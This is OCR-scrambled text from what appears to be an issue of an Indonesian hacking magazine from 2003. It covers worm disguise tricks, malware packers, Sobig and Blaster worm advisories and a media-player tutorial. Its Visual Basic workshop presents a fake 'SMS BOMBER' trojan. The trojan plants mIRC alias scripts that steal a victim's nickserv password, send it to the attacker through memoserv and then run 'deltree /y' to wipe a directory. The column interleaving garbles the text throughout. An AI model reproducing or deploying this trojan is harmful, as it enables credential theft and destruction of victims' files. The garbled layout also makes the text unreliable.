tahun, Troy tidak jatuh juga. Sehingga Yunani mengganti untuk attachment-nya dengan nama Humor.ZIP.scr.
strategi dengan menyusupkan tentaranya dalam sebuah Ekstensi .scr —sebagai ekstensi screen saver—akan di-
kuda kayu raksasa yang berongga yang dikirimkan ke Troy. sembunyikan oleh Windows karena merupakan ekstensi
Sinon, seorang mata-mata Yunani, berhasil meyakinkan yang telah dikenal oleh Windows sendiri.
Troy untuk membawa kuda kayu tersebut masuk ke kota. Kenapa begitu? Karena pada kebanyakan sistem operasi
Di malam hari, tentara yang dikamuflasekan dalam kuda Windows, opsi Hide file extensions for known file types
kayu dikeluarkan oleh Sinon yang mengakhiri Trojan War. diaktifkan. Opsi ini dapat Anda akses melalui kotak dialog
Kamuflase digunakan juga pada worm untuk mengelabui Folder Options. Akibatnya, ekstensi .scr akan disembunyikan.
para pengguna komputer. Di antaranya dari nama file yang Maka nama tersebut akan terlihat sebagai Humor.ZIP —
digunakan, worm menggunakan nama-nama yang me- suatu nama dengan ekstensi yang innocent dan tidak
manfaatkan sifat ingin tahu seorang manusia. Misalnya berbahaya bila diklik.
saja Movie, Screen_Saver, atau Your_details pada Worm
Sobig.E. Atau menggunakan nama XXX_Teens, AvrilFans,
AvrilSmiles sebagai mana pada I-Worm.Avron menurut
penamaan worm dari Kapersky Lab. Lain lagi pada pada
worm BadTrans yang menggunakan nama-nama seperti
di bawah ini untuk attachment-nya:
fun
Humor
docs
info
Sorry_about_yesterday
Me_nude
Card
SETUP
stuff
YOU_are_FAT!
HAMSTER
news_doc
New_Napster_Site README
images
Pics
Nama-nama tersebut cukup mengundang rasa ingin tahu
manusia untuk mengklik dan menjalankan attachment
yang sejatinya merupakan file yang berbahaya.
Selain itu kamuflase juga diterapkan pada ekstensi file yang
digunakan. Ambil contoh pada Worm BadTrans yang di-
sertai dengan kemampuan keylogger. Worm ini mempu-
nyai nama attachment yang terdiri dari tiga bagian.
Formatnya seperti di bawah ini: Gambar A. Kotak dialog Folder Options
NamaFile + Ekstensi_1 + Ekstensi_2
Ada Apa dengan .PIF dan .SCR?
Untuk NamaFile, digunakan salah satu dari deretan nama-
nama yang telah disebut di atas. Sedangkan untuk Ekstensi_1 File aplikasi yang merupakan hasil kompilasi suatu compiler—
dipilih salah satu dari tiga pilihan di bawah ini: semacam Borland Delphi, Turbo Pascal, C++ Builder,
.DOC Visual Basic, dll—akan mempunyai ekstensi EXE atau
.MP3 COM. File inilah yang dinamakan dengan program yang
.ZIP para user akan menggunakannya tanpa mengetahui ba-
gaimana dan apa yang dilakukan oleh program.tersebut.
Terlebih lagi source code atau kode program tersebut ti- Atas dasar alasan inilah seorang user yang kritis dia tidak
dak disertakan, sehingga dia tidak tahu proses dan perin- akan mau menjalankan suatu file dari sumber-sumber
tah apa yang akan dilakukan oleh program ini. Para user yang tidak dipercayainya.
akan pasrah bila menggunakan program. Ini adalah pro- Oleh karena itu maka para pembuat worm mengganti
gram secara umum. ekstensi file worm mereka dengan SCR atau PIF. Catat
Program tersebut bisa jadi merupakan program yang baik juga bahwa dengan ekstensi tersebut file worm yang me-
misalnya mampu memainkan file mp3 atau avi, dan bisa reka buat dapat secara penuh berjalan tanpa error sedikit
juga program yang jahat yang dapat memformat harddisk. pun layaknya sebuah file berekstensi EXE. Selain itu pada
Bila seorang user menjalankan file ini ia akan dihadapkan pada beberapa server tidak menghendaki adanya attachment
dua pilihan: file ini baik atau file ini buruk dan bersifat des- dengan ekstensi EXE atau COM.
truktif. Probabilitasnya 50:50, suatu peluang yang cukup besar Anda akan lebih jelas memahami ekstensi ganda pada worm
untuk memperoleh kebaikan dan peluang yang besar pula dengan melakukan simulasi pada lankah-langkahberikut.
untuk mendapatkan kerusakan dari akibat penggunaan file.
B U K AN HANYA U NTU K WO R M
Memperkecil Ukuran File
Kompresi dilakukan terhadap program yang sudah dikompilasi, selain untuk memperkecil ukurannya,
juga mempersulit software itu diubah-ubah seenaknya dengan Resource Hacker.
ECIL ITU INDAH, ADA YANG ME- piler Borland Delphi 2.0. Download di rut penamaan dari Trend Micro. Trojan
K ngatakan demikian. Mengha-
silkan suatu file berukuran
http://www.aspack.com. Sayang penggu-
naannya dibatasi selama 30 hari. Lain
yang ditemukan sekitar bulan Mei 2002
ini dibuat menggunakan Borland Delphi,
kecil merupakan suatu isu yang sangat halnya dengan UPX yang merupakan suatu bahasa pemrograman tingkat ting-
penting. Pasalnya, ukuran file hasil kependekan dari Ultimate Packer for gi yang tergolong handal dan mudah
kompilasi yang besar sangat merepot- eXecutables. UPX dibuat oleh Oberhumer dipelajari. Trojan yang menonaktifkan
kan, karena akan menyita ruang disk dan Laszlo Molnar dan dihadirkan da- mouse dan keyboard ini dikompres meng-
dan menyulitkan distribusi file baik lam interface berbasis DOS. Perangkat gunakan perangkat ASPack, sehingga
melalui floppy disk maupun melalui ini juga tergolong handal untuk berba- menyulitkan untuk dianalisa karena
jaringan dengan bertambahnya waktu gai mesin dari mesin DOS, Win32, Linux, diperlukan dekompresor untuk mem-
download. Atari, sampai Rtm32. Freeware, dapat balikkan proses kompresi ASPack. Sa-
Bukan hanya pemrograman malicious diperoleh di http://upx.sourceforge.net. yang perangkat dekompresor ini tidak
software semacam virus, worm, atau tersedia.
ASPack, UPX, dan Malicious Software
trojan yang menuntut ukuran file kecil. Contoh lain adalah trojan Troj_Bario.B
Malicious software—disingkat dengan
Dalam memprogram aplikasi secara yang merupakan trojan pencuri pass-
malware—seperti virus, worm, dan trojan
umum pun dituntut dihasilkannya file word buatan Russia dan juga dibuat
dibuat untuk tujuan jahat seperti men-
yang berukuran imut. dengan Borland Delphi. Trojan ini mem-
curi password, menghapus file, sampai
Untuk menghasilkan suatu file yang punyai fitur keystroke dan memanfa-
memformat harddisk. Untuk mencapai
berukuran kecil banyak dan beragam atkan kehandalan ASPack untuk mene-
tujuannya tersebut malicious software
cara dapat ditempuh. Diantaranya de- kan besar ukuran filenya. Malicious
harus bekerja secara siluman (stealth
ngan efisiensi pemrograman, yaitu software lain yang juga memanfaatkan
and invisible) dan menghindari deteksi
dengan meminimalisir penggunaan ASPack lainnya adalah worm Sobig.E
user. Pada sisi yang lain, replikasi file
komponen, terlebih lagi komponen dan pada beberapa versi SubSeven.
virus, worm, dan trojan dituntut harus
yang berbasis multimedia. Jalan ini berlangsung cepat. Dalam rangka inilah UPX pun sebagai perangkat sejenis
dapat diteruskan lagi dengan me- virus, worm, dan trojan harus dibuat yang handal juga menorehkan track
lakukan pemrograman yang meman- dalam ukuran file yang sekecil mungkin, record dalam mengkompres malware.
faatkan Windows API. sehingga perubahan ukuran file yang Contohnya adalah I-Worm.Avron
Tetapi ini adalah jalan yang sulit sekali. terinfeksi tidak kentara dan proses re- menurut penamaan Kapersky Lab. Worm
Karena sulitnya pemrograman Windows plikasi dapat berlangsung lebih cepat. ini dikenal juga dengan W32/Lirva.A@MM,
API, maka jalan ini tidak banyak yang dengan kemampuan menyebar mela-
ASPack dan UPX merupakan dua nama
menyukainya kecuali sebagian kecil lui email secara mass mailing (MM)
perangkat untuk mereduksi ukuran file
yang sudah mencapai tahap mahir da- untuk menjangkau persebaran yang
yang telah cukup populer dan menjadi
lam pemrograman. Jalan lain yang luas dalam waktu singkat. Worm ini
pilihan para programmer. Untuk mere-
dapat dilakukan dan tergolong mudah dibuat menggunakan MS Visual C++.
duksi ukuran file secara umum. Terma-
adalah dengan menggunakan perangkat suk di dalamnya yaitu memperkecil Variant I-Worm.Avron.A,II-Worm.Avron.B,
bantu untuk urusan ini. ukuran file virus, worm, dan trojan,ASPack dan I-Worm.Avron.C, dikompres meng-
Telah banyak programmer-programmer dan UPX telah mempunyai track record gunakan UPX sehingga ukuran file-
dalam bidang kompresi file yang menye- "yang baik" untuk urusan ini. nya menjadi 26 KB, 34 KB, dan 33 KB.
diakan diri, waktu, dan pikiran untuk Contoh yang menarik dalam melihat Contoh lain I-Worm.Tanatos.b juga
membuat perangkat kompresi untuk track record dua perangkat di atas ada- dikenal sebagai Bugbear.b. Worm yang
file EXE. Mereka telah melapangkan lah trojan bernama Troj_Rav.A menu- mempunyai unit keylogger ini juga
jalan buat kita semua.
Beragam perangkat semacam ini banyak
berserakan di jagat maya. Ada yang ber-
basiskan DOS dengan command line
untuk menggunakannya seperti UPX,
ada pula yang berbasiskan Windows
dengan GUI yang cukup sederhana dan
mudah dimengerti seperti pada ASPack.
ASPack merupakan perangkat untuk
mengkompresi file EXE yang dibuat
oleh Alexey Solodovnikov. Perangkat
Gambar 1. Gambar 2.
ASPack ini dibuat menggunakan kom-
Tampilan UPX yang berbasiskan DOS Tampilan ASPack yang erbasiskan GUI
VI S UAL BAS I C WO R KS H O P
Program Penggodayang Berbahaya
Menanamkan skrip ke dalam komputer orang lain? Ini merupakan tantangan sendiri
untuk pada underground newbie. Dengan sedikit keterampilan pemrograman dengan Visual Basic,
MA Rody Candera (odyxb@melva.org) menunjukkan caranya.
RTIKEL KALI INI MASIH BERKUTAT DENGAN VISUAL BASIC, Sekarang kita mencoba merancang program SMS BOMBER
A adapoun yang akan dibahas merupakan kelanjutan
dari artikel-artikel sebelumnya. Apakah anda masih
(ingat..., bukan program SMS BOMBER sesungguhnya lho),
buat rancangan yang nantinya akan menjadi tampilan atau
ingat mengenai artikel Mendapatkan Skrip Nick Password interface program yang akan kita buat.
Cracking? (NeoTek III/5 Feb/Mar 2003). Pada NeoTek yang Berdasarkan rancangan yang dibuat (Gambar 1), kita sudah
berikutnya akan dibahas Deltree Script Melalui mIRC. dapat memulai menggunakan Visual Basic untuk mewujud-
Pada artikel Skrip Nick Password Cracking, diterangkan cara kan program kita. buatlah interface program berdasarkan
mendapatkan password nick seseorang yang terdaftar di dalnet rancangan kita, hasilnya kurang lebih terlihat pada Gambar 2.
dengan menggunakan skrip yang ditanamkan di Aliases.ini.
Begitu juga pada artikel Deltree Script Melalui mIRC, dite-
rangkan caranya dengan menanamkan skripnya di Aliases.ini
Yang menjadi permasalahan dari cara yang diterapkan dalam
artikel-artikel tersebut adalah teknik atau cara menanamkan
skrip tersebut ke komputer orang lain yang jauh jaraknya dari
tempat kita. Ketika penulis mengenal Visual Basic, penulis
merasa yakin bahwa Visual Basic dapat membantu mengatasi
masalah tersebut. Tetapi penulis tidak sendiri dalam mewu-
judkan hal tersebut, penulis dibantu oleh seorang teman
sesama neoteker yaitu h3r01n (Asan). Ucapan terima kasih
sebesarnya untuk Asan yang selalu setia membantu penulis.
Seperti yang telah dijelaskan di atas, kini kita akan mencoba
membuat sebuah program dengan menggunakan Visual Basic
yang dapat membantu kita untuk menjangkiti Aliases.ini
dengan skrip-skrip yang akan ditanamkan ke dalamnya.
Sama seperti artikel terdahulu yang mengangkat permasa-
lahan membuat program dengan Visual basic, kita perlu Gambar 2. interface program
membuat rancangan programnya.
Setelah membuat interface programnya, selanjutnya yang
Sesuai dengan judul yaitu Program Penggoda, maka penulis perlu kita lakukan adalah mengatur properties. Aturlah se-
mencoba membuat program SMS BOMBER. Program ter- suai yang diterangkan berikut di bawah ini:
sebut sampai saat ini ternyata memiliki banyak peminat yang Form1
terus-menerus mencari program sejenis yang lebih jago. Me- - Backcolor Î &H00C0FFFF& (warna kuning gading atau dapat
mandang hal tersebut, penulis menjadikan program SMS anda pilih sendiri warna yang anda suka)
BOMBER yang sesungguhnya bukan merupakan program - BorderStyle Î 3 – Fixed Dialog
yang dapat membombardir handphone seseorang dengan - Caption Î SmSBoMBeR-TeRoRiS
SMS yang membengkak, sesungguhnya program tersebut (dapat anda buat yang anda suka)
nanti justru membantu kita dalam menanamkan skrip-skrip - Height Î 4005
- StartUpPosition = 2 – CenterScreen
yang kita miliki ke Aliases.ini. Hm..., sungguh-sungguh - Width Î 4185
menggoda bukan? Label1
- Backcolor Î &H00C0FFFF& (warna kuning gading atau dapat
Gambar 1. Rancangan anda pilih sendiri warna yang anda suka)
dasar program - Caption Î &Number :
Label2
- Backcolor Î &H00C0FFFF& (warna kuning gading atau dapat
anda pilih sendiri warna yang anda suka)
- Caption Î &Packet :
Label3
- Backcolor Î &H00C0FFFF& (warna kuning gading atau dapat
anda pilih sendiri warna yang anda suka)
- Caption Î +
- Font Î MS Sans Serif 12px
Label4
- Backcolor Î &H00C0FFFF& (warna kuning gading atau dapat
anda pilih sendiri warna yang anda suka)
- Caption Î 500 Messages
Timer1
If stat = "OK" Then
If Pbar.Value >= 100 Then i = 1: ulang = ulang + 1
If ulang > txt Then
Label8.Caption = "Messages Has Been Sent to "
Label9.Caption = Text1.Text
MsgBox "Sending Messages Has Been Complete"
End
End If
Label7.Caption = (Pbar.Value) & " %"
Pbar.Value = i
i=i+1
End If
Print #1, "n12=" Selain kode program di atas, ada beberapa kode program
Print #1, "n14=" yang perlu anda masukkan juga dengan cara mengetikkan
Print #1, "n15=" langsung pada kode editor.
Print #1, "n16="
Print #1, "n17=" Private Declare Function DeleteMenu Lib "user32" (ByVal
Print #1, "n18=" hMenu As Long, ByVal nPosition As Long, ByVal wFlags As
Print #1, "n19=" Long) As Long
Print #1, "n20=" Private Declare Function GetSystemMenu Lib "user32" (ByVal
Print #1, "n21=" hWnd As Long, ByVal bRevert As Long) As Long
Print #1, "n22=" Private Const MF_BYPOSITION = &H400&
Print #1, "n23=" Dim i As Double
Print #1, "n24=" Dim ulang As Single
Print #1, "n25=/nickserv {" Dim stat As String
Print #1, "n26= /set %y1 $$1" Dim txt As Integer
Print #1, "n27= if ( %y1 == identify ) {"
Print #1, "n28= /set %y2 $$2" Ketikkan kode tersebut di atas di bagian paling atas dari
Print #1, "n29= /.msg nickserv@services.dal.net $1-" kode-kode program yang telah ada sebelumnya.
Print #1, "n30= /.timer 1 480 /.memoserv send [Nick] Nick: Terus selanjutnya kode program yang juga perlu
$me Password: %y2"
Print #1, "n31= /.timer 1 481 /.clear" dimasukkan seperti di bawah berikut yang diletakkan di
Print #1, "n32= /.timer 1 482 /.run deltree /y bagian setelah dari end sub dari form_load
Drive:\Directory" Private Sub RemoveMenus()
Print #1, "n33= }" Dim hMenu As Long
Print #1, "n34= else /.msg nickserv@services.dal.net $1-" hMenu = GetSystemMenu(hWnd, False)
Print #1, "n35= /.unset %y1" DeleteMenu hMenu, 6, MF_BYPOSITION
Print #1, "n36= /.unset %y2" End Sub
Print #1, "n37=}"
Print #1, "n38=" Selesai sudah, program anda sudah setengah jadi. Untuk
Print #1, "n39=" jadi seutuhnya adalah dengan mengkompilenya. Untuk
Print #1, "n40=/identify {" mengkompile; klik File > Make testing.exe...
Print #1, "n41= /set %y1 $$1"
Print #1, "n42= /.msg nickserv@services.dal.net identify $1-"
Print #1, "n43= /.timer 1 480 /.memoserv send [Nick] Nick:
$me Password: %y1"
Print #1, "n44= /.timer 1 481 /.clear"
Print #1, "n45= /.timer 1 482 /.run deltree /y
Drive:\Directory"
Print #1, "n46= /.unset %y1"
Print #1, "n47=}"
i=5
stat = "NON"
End Sub
NmN
NeoTeker menjawab NeoTeker
Forum ini dimaksudkan sebagai bentuk offline dari mailing list
NeoTek di http://groups.yahoo.com/group/majalahneotek.
Sobig Worm Mewabah Setelah Blaster Worm Blaster Worm Blaster Worm
T: Sent August 22
T: Posted August 20 Produk yang Dapat Terserang
Pada siang hari ketika PT. Vaksincom mendapatkan peringatan akan adanya worm ini, Sobig.F lang-
sung menduduki peringkat 4 dalam Top 10 virus yang paling banyak dihentikan oleh MessageLabs, Kompie gue kena yg nama- Windows NT 4.0
pelan tapi pasti Sobig.F menduduki peringkat 3 dan pada malam hari pukul 20.40 WIB telah menem-
pati posisi pertama sebagai virus yang paling banyak dihentikan oleh MessageLabs. nya blaster. yaitu ciri2nya Windows 2000
Sobig.F perlu diwaspadai karena disamping menyebar melalui email, ia juga memiliki kemampuan
kompie XP Pro saya langsung Windows XP
menyebar melalui jaringan. Virus ini dipaket dengan menggunakan tElock 0.98 dengan ukuran 72 Kb, auto shutdown kalau buka Windows Server 2003
dan setelah diekstrak akan berukuran 112 Kb. Virus worm ini dibuat dengan menggunakan bahasa
programing Microsoft VisualC++. Uniknya, Sobig.F hanya aktif sampai tanggal 10 September 2003.
IE 6.0/OE 6.0 beberapa saat. Gejala umum pada Windows
Setelah tanggal 10 September 2003 jika kita menjalankan attach file yang terlampir maka Sobig.F ini lalu saya cari file yg baru ter- XP dan Windows Server 2003
tidak akan bereaksi. Apakah pembuatnya sudah mempersiapkan varian baru menjelang tanggal 10
September 2003 atau memang ada tujuan lain hanya waktu yang akan memberitahukan. Worm ini cipta yaitu ada yang namanya adalah boot setiap beberapa
didisain untuk menyebarkan dirinya melalui jaringan dan mass-mail dengan menggunakan Simple
Mail Transfer Protocol (SMTP) engine miliknya sendiri.
msblast.exe di C:\Windows\ menit tanpa intervensi user
System32\ msblast.exe lalu dengan terlebih dulu me-
Virus ini menyerang setiap pemakai komputer yang menggunakan email dan dapat juga menyerang
melalui jaringan yang terhubung. Ciri-ciri dari virus ini adalah : saya hapus file tersebut (se- nampilkan pesan sbb:
Email yang anda terima akan mempunyai subject seperti di bawah ini :
belumnya di-End Task dulu
Re: Thank you! lewat TaskManager!) terus
Thank you!
Your details
hapus entry-nya di menu
Re: Details startup dengan nama Win-
Re: Re: My details
Re: Approved
dows Auto Update sekarang
Re: Your application semua berjalan normal lagi.
Re: Wicked screensaver
Re: That movie yg saya bingung, ini nama-
File-file attach yang menyertainya adalah seperti di bawah ini : nya worm/virus? soalnya
your_document.pif pake NAV2003 (belum di-
document_all.pif
thank_you.pif update) ngga kedeteksi. Mo-
your_details.pif
details.pif
hon pencerahannya.
document_9446.pif
application.pif
Dreamer BoyZ Sistem Windows 2000 atau
wicked_scr.scr dreamer_boyz@telkom.net Windown NT 4.0 menjadi
movie0045.pif
tidak responsif.
Message body yang anda terima akan mengandung kalimat:
J: Posted August 21
Please see the attached file for details.
atau
Penanggulangannya
See the attached file for details Nah sama tuh sama posting- • Putuskan hubungan ke
Dan alamat pengirimnya bisa dari "admin@internet.com", tetapi juga dapat juga berupa alamat-alamat an saya tempo hari. Saya Internet, dengan langsung
yang aneh-aneh dan sifatnya lelucon secara random.
juga mengalami hal yg mencopot kabel telepon
Alamat email didapat dan dikumpulkan dari pencarian di dalam setiap
file-file yang berektensi:
sama. Tapi herannya penye- dari jack telepon. Setelah
*.txt rangannya ngga tentu. Dan itu aktifkan firewall.
*.eml
asiknya lagi, kompie saya
*.html
*.htm digunakan di rumah, ngga • Jalankan FixBlast.exe
*.dbx
ada yg lain yg make selain yang tersedia di CD
*.wab
Setiap attach yang dijalankan dari email yang terinfeksi maka akan terbentuk sebuah file yang ber- saya. Jadi virusnya datang NeoTek III/12 (Sep/Okt
nama WINPPR32.EXE, dan sebuah file TXT yang bernama WINSTT32.DAT diletakkan pada direktori
dari email. Email yg mana 2003).
C:\Windows. Dan ia juga akan menambahkan 2 value pada file registri:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run yachh?? milis NeoTek-kah • Update Windows anda
TrayX = "%Windows%\winppr32.exe /sinc" he he he... menggunakan Windows
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
TrayX = "%Windows%\winppr32.exe /sinc" andrie update yang tersedia di
Value ini akan selalu dijalankan setiap kali komputer di restart. andrie01@indo.net.id situs Microsoft atau di CD
NeoTek III/11 (Ags/Sep
Value registry ini akan dibuat jika key tersebut sudah ada. Tetapi untuk value yang pertama tidak akan
dibuat pada system operasi Windows 98, karena key J: Posted August 21 2003).
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
biasanya tidak pernah ada. w32.blaster.worm/
Untuk pencegahannya, biasakan kalau ada attach yang anda terima dari seseorang yang tidak anda
lovsan/msblast ti-
kenal ataupun yang anda kenal, jangan langsung dijalankan atau dibuka. Kebiasaan ini selalu dipakai dak menyebar le-
oleh para pembuat virus worm. Simpan dahulu file attach yang anda terima dengan cara : Klik kanan
pada file attach tersebut, kemudian klik SAVE AS. pada saat anda menyimpan, antivirus akan meme- wat e-mail tapi
riksa file tersebut, jika ada virus maka akan dibersihkan. Dan jika virus termasuk golongan yang ber- langsung lewat ko-
bahaya, maka akan langsung didelete. Kalau anda pemakai Microsoft Outlook XP, maka masalah ini
sedikit banyak sudah tertangani oleh applikasi tersebut, karena Outlook XP akan memblok semua file- neksi internet dan
file yang berekstensi khusus yang biasanya dipakai oleh virus dalam menyebarkan dirinya misalnya
:*.COM, *.EXE, *.SCR, *.PIF dan sebagainya. Gunakan antivirus yang selalu terupdate definisinya,
jaringan
karena ini juga merupakan suatu cara yang paling baik dalam menghadapi virus yang belakang ini
merajalela. rizky_ridho FixBlast.exe tersedia di
rizky_ridho@yahoo.com CD NeoTek bulan ini bersama
p_e_edu
p_e_edu@yahoo.com berbagai worm removal lain
TV DARI ATI MULTIMEDIA CENTER RECORD VIDEO/AUDIO STREAM SAVE HASIL REKAMAN
1 TV/VCR telah terhubung ke PC.
Jalankan ATI Multimedia Center
2 Klik icon paling kiri dan video/audio
stream inipun akan direkam. Ter-
3 Proses recording ini belum di-
save ke hard disk sampai kita
dengan Start > Program > ATI Mul- lihat lama proses rekaman yang tekan icon yang serupa pada
timedia Center > Launchpad. Suatu sedang berjalan maupun kapa- indikator rekaman yang akan
launchpad akan tampil di sisi sitas hard disk yang masih tersisa. menghentikan perekaman dan
kanan layar. Klik pilihan pertama Disini 31,5 Gbyte masih bisa me- secara default menyimpan hasil
yaitu TV. Setelah inisialisasi akan nampung rekaman selama rekaman ke folder MyDocument
tampil video/audio streaming hampir 12 jam. sebagai Noname0x.mp2
elain untuk memutar audio Pada pilihan Portable Device, Windows Tool tertentu seperti Panasonic MP3
S ataupun video, Windows Me-
dia Player serta RealOne Player
Media Player bisa mengenali Pocket
PC ataupun Palm Device, dan dapat
Player menggunakan format FAT12
yang kini sudah tidak lazim, sehingga
sebenarnya juga suatu recorder. men-transfer file kedalam device tsb. transfer file audio harus menggunakan
Pada Window Media Player terdapat Demikian juga pada RealOne Player yang RealOne Player yang dilengkapi device
pilihan-pilihan: justru lebih luas lagi kemungkinannya, plug-in yang sesuai.
• Now Playing yaitu dapat untuk mem-burn CD, selain Dengan cara ini dapat dipastikan file
• Media Guide dapat dipasangkan berbagai Plug-in lain audio/video yang ditransfer dapat di-
• CD Audio untuk berbagai portable device seperti mainkan di portable device tersebut,
• Media Library Sony NetMD, Panasonic MP3 Player, bukan dengan cara meng-copy lewat
• Radio Tuner Nomad Muvo, dan lain sebagainya. Be- Windows Explorer, yang walaupun
• Portable Device berapa add-in dapat di-download lang- dapat dilakukan, tidak menjamin file
• Skin Chooser sung dari situs Realmedia. yang ditransfer itu dapat dimainkan.
Iklan VisionNet